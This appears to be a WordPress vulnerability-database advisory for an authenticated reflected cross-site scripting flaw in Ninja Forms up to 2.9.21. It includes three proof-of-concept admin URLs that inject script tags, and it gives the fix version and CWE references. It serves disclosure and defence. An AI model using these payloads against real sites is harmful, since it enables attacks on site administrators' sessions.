Ninja Forms <= 2.9.21 - Authenticated Reflected Cross-Site Scripting (XSS)



Proof of Concept
http://www.example.com/wp-admin/admin.php?page=nf-processing&title=<script>alert(123);</script>

http://www.example.com/wp-admin/admin.php?page=nf-processing&action=</script><script>alert(123);</script>

http://www.example.com/wp-admin/admin.php?page=ninja-forms&tab=notifications&form_id=7&id="><script>alert(132);</script>&notification-action=new

Affects Plugin

fixed in version 2.9.22

References

PACKETSTORM 132913
URL https://github.com/espreto/wpsploit/blob/master/modules/auxiliary/scanner/http/wp_ninja_forms_xss_scanner.rb

Classification

Type XSS
OWASP Top 10 A7: Cross-Site Scripting (XSS)
CWE CWE-79

Miscellaneous

Submitter ethicalhack3r
Submitter Website https://dewhurstsecurity.com/
Submitter Twitter ethicalhack3r
Views 4208
Verified Yes
WPVDB ID 8128

Timeline

Publicly Published 2015-08-04 (over 4 years ago)
Added 2015-08-04 (over 4 years ago)
Last Updated 2019-10-22 (26 days ago)

Our Other Services

Online WordPress Vulnerability Scanner WPScan WordPress Security Plugin